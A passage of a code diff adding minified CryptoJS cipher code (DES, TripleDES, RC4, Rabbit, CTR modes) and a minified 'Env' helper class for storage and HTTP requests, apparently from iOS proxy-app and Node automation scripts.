& f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () {
+ function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) {
+ var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t;
+ } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v)
+ }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t
+});
+
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else 